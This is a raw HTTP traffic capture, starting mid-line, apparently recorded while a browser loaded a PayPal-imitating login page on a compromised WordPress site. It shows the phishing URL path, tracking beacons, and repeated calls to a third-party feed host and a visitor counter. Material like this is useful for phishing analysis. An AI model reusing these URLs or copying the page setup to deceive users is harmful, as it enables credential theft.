Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1
Expires: Tue, 06 Nov 2012 06:39:24 GMT
Last-Modified: Thu, 08 Nov 2012 06:39:24 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
xserver: www79
Content-Length: 0
Keep-Alive: timeout=15
Connection: Keep-Alive
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&vmh=paypal.d1.sc.omtrdc.net&&ndh=1&t=7%2F10%2F2012%207%3A39%3A24%203%20-60&vmt=51437A79&vmf=paypal.112.2o7.net&ce=UTF-8&ns=paypal&pageName=log%20in&g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&cc=USD&ch=log%20in&c1=p%2Fgen%2Flogin&c7=unknown&v7=unknown%3Aunknown%3Aunknown&c8=unknown&c9=unknown&c10=de&c17=Login%20-%20PayPal&c18=R9&c19=log%20in&v19=D%3Dc7&v31=log%20in&c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&c39=D%3DpageName&c47=D%3DpageName&c50=de_de&c53=h.24.2%7C04.19.2012&s=1176x885&c=24&j=1.7&v=Y&k=Y&bw=1176&bh=778&p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&AQE=1 HTTP/1.1

Host: paypal.112.2o7.net
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
 
HTTP/1.1 302 Found

Content-Type: text/plain

Date: Wed, 07 Nov 2012 06:39:25 GMT
Server: Omniture DC/2.0.0
Access-Control-Allow-Origin: *
Location: http://paypal.d1.sc.omtrdc.net/b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;vmr=true&amp;&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1
Expires: Tue, 06 Nov 2012 06:39:25 GMT
Last-Modified: Thu, 08 Nov 2012 06:39:25 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
xserver: www622
Content-Length: 0
Keep-Alive: timeout=15
Connection: Keep-Alive
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&vmr=true&&vmh=paypal.d1.sc.omtrdc.net&&ndh=1&t=7%2F10%2F2012%207%3A39%3A24%203%20-60&vmt=51437A79&vmf=paypal.112.2o7.net&ce=UTF-8&ns=paypal&pageName=log%20in&g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&cc=USD&ch=log%20in&c1=p%2Fgen%2Flogin&c7=unknown&v7=unknown%3Aunknown%3Aunknown&c8=unknown&c9=unknown&c10=de&c17=Login%20-%20PayPal&c18=R9&c19=log%20in&v19=D%3Dc7&v31=log%20in&c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&c39=D%3DpageName&c47=D%3DpageName&c50=de_de&c53=h.24.2%7C04.19.2012&s=1176x885&c=24&j=1.7&v=Y&k=Y&bw=1176&bh=778&p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&AQE=1 HTTP/1.1

Host: paypal.d1.sc.omtrdc.net
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;vmr=true&amp;&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
 
HTTP/1.1 302 Found

Content-Type: text/plain

Date: Wed, 07 Nov 2012 06:39:25 GMT
Server: Omniture DC/2.0.0
Access-Control-Allow-Origin: *
Set-Cookie: s_vi=[CS]v1|284D010E8531315F-600001044007BD2B[CE]; Expires=Mon,  6 Nov 2017 06:39:25 GMT; Domain=paypal.d1.sc.omtrdc.net; Path=/
Location: http://paypal.d1.sc.omtrdc.net/b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;pccr=true&amp;vidn=284D010E8531315F-600001044007BD2B&amp;&amp;vmr=true&amp;&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1
X-C: ms-4.4.9
Expires: Tue, 06 Nov 2012 06:39:25 GMT
Last-Modified: Thu, 08 Nov 2012 06:39:25 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NOI DSP COR NID PSA OUR IND COM NAV STA&quot;
xserver: www34
Content-Length: 0
Keep-Alive: timeout=15
Connection: Keep-Alive
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&pccr=true&vidn=284D010E8531315F-600001044007BD2B&&vmr=true&&vmh=paypal.d1.sc.omtrdc.net&&ndh=1&t=7%2F10%2F2012%207%3A39%3A24%203%20-60&vmt=51437A79&vmf=paypal.112.2o7.net&ce=UTF-8&ns=paypal&pageName=log%20in&g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&cc=USD&ch=log%20in&c1=p%2Fgen%2Flogin&c7=unknown&v7=unknown%3Aunknown%3Aunknown&c8=unknown&c9=unknown&c10=de&c17=Login%20-%20PayPal&c18=R9&c19=log%20in&v19=D%3Dc7&v31=log%20in&c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&c39=D%3DpageName&c47=D%3DpageName&c50=de_de&c53=h.24.2%7C04.19.2012&s=1176x885&c=24&j=1.7&v=Y&k=Y&bw=1176&bh=778&p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&AQE=1 HTTP/1.1

Host: paypal.d1.sc.omtrdc.net
GET /b/ss/paypalglobal/1/H.24.2/s05485733186051?AQB=1&amp;pccr=true&amp;vidn=284D010E8531315F-600001044007BD2B&amp;&amp;vmr=true&amp;&amp;vmh=paypal.d1.sc.omtrdc.net&amp;&amp;ndh=1&amp;t=7%2F10%2F2012%207%3A39%3A24%203%20-60&amp;vmt=51437A79&amp;vmf=paypal.112.2o7.net&amp;ce=UTF-8&amp;ns=paypal&amp;pageName=log%20in&amp;g=http%3A%2F%2Fatdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;cc=USD&amp;ch=log%20in&amp;c1=p%2Fgen%2Flogin&amp;c7=unknown&amp;v7=unknown%3Aunknown%3Aunknown&amp;c8=unknown&amp;c9=unknown&amp;c10=de&amp;c17=Login%20-%20PayPal&amp;c18=R9&amp;c19=log%20in&amp;v19=D%3Dc7&amp;v31=log%20in&amp;c34=PayPalCredit%3AServicing%3ACO%3ANoTransactions&amp;c36=atdf.de%2Fwp-includes%2Fjs%2Fwebscr.php%3Fcmd%3D_login-run&amp;c39=D%3DpageName&amp;c47=D%3DpageName&amp;c50=de_de&amp;c53=h.24.2%7C04.19.2012&amp;s=1176x885&amp;c=24&amp;j=1.7&amp;v=Y&amp;k=Y&amp;bw=1176&amp;bh=778&amp;p=Mozilla%20Default%20Plug-in%3BShockwave%20Flash%3BJava(TM)%20Platform%20SE%206%20U26%3BJava%20Deployment%20Toolkit%206.0.260.3%3BAdobe%20Acrobat%3BMicrosoft%C2%AE%20DRM%3BWindows%20Media%20Player%20Plug-in%20Dynamic%20Link%20Library%3B&amp;AQE=1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
Cookie: s_vi=[CS]v1|284D010E8531315F-600001044007BD2B[CE]
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Wed, 07 Nov 2012 06:39:25 GMT
Server: Omniture DC/2.0.0
Access-Control-Allow-Origin: *
Set-Cookie: s_vi=[CS]v1|284D010E8531315F-600001044007BD2B[CE]; Expires=Mon,  6 Nov 2017 06:39:25 GMT; Domain=paypal.d1.sc.omtrdc.net; Path=/
X-C: ms-4.4.9
Expires: Tue, 06 Nov 2012 06:39:25 GMT
Last-Modified: Thu, 08 Nov 2012 06:39:25 GMT
Cache-Control: no-cache, no-store, max-age=0, no-transform, private
Pragma: no-cache
Etag: &quot;509A021D-5B7C-4C4DD62C&quot;
Vary: *
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;NOI DSP COR NID PSA OUR IND COM NAV STA&quot;
xserver: www26
Content-Length: 43
Keep-Alive: timeout=15
Connection: Keep-Alive
GET /feed/frames.php?uid=62&frames=5 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/frames.php?uid=62&amp;frames=5 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://atdf.de/wp-includes/js/webscr.php?cmd=_login-run
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Content-Encoding: gzip
GET /feed/xml.php?1521731427&uid=62 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/xml.php?1521731427&amp;uid=62 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding: gzip
GET /feed/xml.php?106372981&uid=62 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/xml.php?106372981&amp;uid=62 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding: gzip
GET /feed/xml.php?1508089033&uid=62 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/xml.php?1508089033&amp;uid=62 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding: gzip
GET /feed/xml.php?1965205891&uid=62 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/xml.php?1965205891&amp;uid=62 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding: gzip
GET /feed/xml.php?1784475797&uid=62 HTTP/1.1

Host: fclick.valleytruss.net
GET /feed/xml.php?1784475797&amp;uid=62 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/frames.php?uid=62&amp;frames=5
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

Server: nginx
Date: Wed, 07 Nov 2012 06:39:25 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.16-1~dotdeb.0
Cache-Control: no-store, no-cache, must-revalidate
Content-Encoding: gzip
GET /wp-includes/js/images/pp_favicon_x.ico HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESS=-1
 


 
 
GET /count/drjj/bg_FFFFFF/txt_000000/border_CCCCCC/columns_2/maxflags_12/viewers_NoLinks/labels_0/pageviews_0/flags_0/ HTTP/1.1

Host: s11.flagcounter.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://fclick.valleytruss.net/feed/xml.php?1521731427&amp;uid=62
 		 


 
 
GET /wp-includes/js/images/pp_favicon_x.ico HTTP/1.1

Host: atdf.de

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESS=-1; s_sess=%20s_cc%3Dtrue%3B%20v31%3Dlog%2520in%3B%20s_sq%3D%3B; s_pers=%20gpv_c43%3Dlog%2520in%7C1352272164602%3B%20tr_p1%3Dlog%2520in%7C1352272164604%3B%20gpv_events%3Dno%2520value%7C1352272164605%3B